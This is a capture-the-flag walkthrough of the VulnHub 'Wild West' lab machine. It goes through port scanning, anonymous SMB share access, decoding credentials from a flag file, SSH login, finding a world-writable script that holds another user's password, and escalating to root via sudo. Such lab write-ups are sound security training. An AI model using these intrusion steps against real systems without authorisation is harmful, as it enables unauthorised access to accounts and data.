VulnHub

Wild West

https://www.vulnhub.com/entry/westwild-11,338/

Walkthrough

1. NMAP Scan:

```
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 6f:ee:95:91:9c:62:b2:14:cd:63:0a:3e:f8:10:9e:da (DSA)
|   2048 10:45:94:fe:a7:2f:02:8a:9b:21:1a:31:c5:03:30:48 (RSA)
|   256 97:94:17:86:18:e2:8e:7a:73:8e:41:20:76:ba:51:73 (ECDSA)
|_  256 23:81:c7:76:bb:37:78:ee:3b:73:e2:55:ad:81:32:72 (ED25519)
80/tcp  open  http        Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: WESTWILD; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -1h00m01s, deviation: 1h43m55s, median: -1s
|_nbstat: NetBIOS name: WESTWILD, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: westwild
|   NetBIOS computer name: WESTWILD\x00
|   Domain name: \x00
|   FQDN: westwild
|_  System time: 2020-07-30T20:16:33+03:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2020-07-30T17:16:33
|_  start_date: N/A
```

We have a few ports running:

1. Port 22 – running SSH
2. Port 80 – running HTTP
3. 139 & 445 – running SMB

What can we do? I will fire up enum4linux to check for shares and local usernames.

The enum4linux scan found us an SMB share called “wave” and two local usernames: wavex & aveng

Let us see if anonymous logins are accepted…

```
kali@kali:~$ smbclient //10.0.2.36/wave
Enter WORKGROUP\kali's password:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue Jul 30 01:18:56 2019
  ..                                  D        0  Thu Jul 30 13:40:25 2020
  FLAG1.txt                           N       93  Mon Jul 29 22:31:05 2019
  message_from_aveng.txt              N      115  Tue Jul 30 01:21:48 2019

                1781464 blocks of size 1024. 286152 blocks available
smb: \> get FLAG1.txt
getting file \FLAG1.txt of size 93 as FLAG1.txt (90.8 KiloBytes/sec) (average 90.8 KiloBytes/sec)
smb: \> get message_from_aveng.txt
getting file \message_from_aveng.txt of size 115 as message_from_aveng.txt (56.1 KiloBytes/sec) (
average 67.7 KiloBytes/sec)
smb: \>
```

… I guess they do.

FLAG1.txt:

This is a bigger than usual flag we see, let us run some cryptanalysis on it using GCHQ’s git cryptanalysis ‘wizzard’:

We were right, I decrypted it from Base64 and the above result came out.

We’ve gotten the actual flag md5 hash and also some credentials for the ‘wave’ user!

Let’s try to SSH over…

```
kali@kali:~$ ssh wavex@10.0.2.36
wavex@10.0.2.36's password:
Welcome to Ubuntu 14.04.6 LTS (GNU/Linux 4.4.0-142-generic i686)

 * Documentation:  https://help.ubuntu.com/

  System information as of Thu Jul 30 20:19:41 +03 2020

  System load:  0.0               Processes:           107
  Usage of /:   77.9% of 1.70GB   Users logged in:     0
  Memory usage: 9%                IP address for eth0: 10.0.2.36
  Swap usage:   0%

  Graph this data and manage this system at:
    https://landscape.canonical.com/

Your Hardware Enablement Stack (HWE) is supported until April 2019.
Last login: Thu Jul 30 20:19:41 2020 from 10.0.2.15
wavex@WestWild:~$
```

Navigating around, we discover an interesting .txt file:

Message_from_aveng.txt:

```
Dear Wave ,
Am Sorry but i was lost my password ,
and i believe that you can reset  it for me .
Thank You
Aveng
```

So, we have logged in through SSH on the host as user Wave and now we know that Wave can change the password of Aveng… Hmmmmmmmmm……. Trying sudo -l will output that wavex cannot use sudo on this box.

Search for writable directories as we can't run sudo as this user:

```
wavex@WestWild:~/wave$ find / -writable -type d 2>/dev/null
/sys/fs/cgroup/systemd/user/1001.user/2.session
/usr/share/av/westsidesecret
/home/wavex
/home/wavex/.cache
/home/wavex/wave
/var/lib/php5
/var/spool/samba
/var/crash
/var/tmp
/proc/2325/task/2325/fd
/proc/2325/fd
/proc/2325/map_files
/run/user/1001
/run/shm
/run/lock
/tmp
```

There is an interesting directory name… westsidesecret:

Navigating to it gives us:

```
wavex@WestWild:~/wave$ cd /usr/share/av/westsidesecret/
wavex@WestWild:/usr/share/av/westsidesecret$ ls -la
total 12
drwxrwxrwx 2 root  root  4096 Jul 30  2019 .
drwxr-xr-x 3 root  root  4096 Jul 30  2019 ..
-rwxrwxrwx 1 wavex wavex  101 Jul 30  2019 ififoregt.sh
wavex@WestWild:/usr/share/av/westsidesecret$ cat ififoregt.sh
 #!/bin/bash
 figlet "if i foregt so this my way"
 echo "user:aveng"
 echo "pass[redacted]en+80"


wavex@WestWild:/usr/share/av/westsidesecret$
```

Now we have the credentials for the aveng user;

Let's log on as him!

```
wavex@WestWild:/usr/share/av/westsidesecret$ su aveng
Password:
aveng@WestWild:/usr/share/av/westsidesecret$ sudo -l
[sudo] password for aveng:
Matching Defaults entries for aveng on WestWild:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User aveng may run the following commands on WestWild:
    (ALL : ALL) ALL
aveng@WestWild:/usr/share/av/westsidesecret$
```

We can run all sudo commands on this user! $$$

```
aveng@WestWild:/usr/share/av/westsidesecret$ sudo ls -la /root
total 36
drwx------  3 root root 4096 Aug  2  2019 .
drwxr-xr-x 21 root root 4096 Jul 30  2019 ..
-rw-r--r--  1 root root 3106 Feb 20  2014 .bashrc
drwx------  2 root root 4096 Jul 31  2019 .cache
-rw-r--r--  1 root root  122 Jul 31  2019 FLAG2.txt
-rw-r--r--  1 root root  140 Feb 20  2014 .profile
-rw-r--r--  1 root root   75 Jul 31  2019 .selected_editor
-rw-------  1 root root 4970 Jul 31  2019 .viminfo
aveng@WestWild:/usr/share/av/westsidesecret$ sudo cat /root/FLAG2.txt
Flag2{[redacted]}

Great! take a screenshot and Share it with me in twitter @HashimAlshareff



aveng@WestWild:/usr/share/av/westsidesecret$
```

==========

END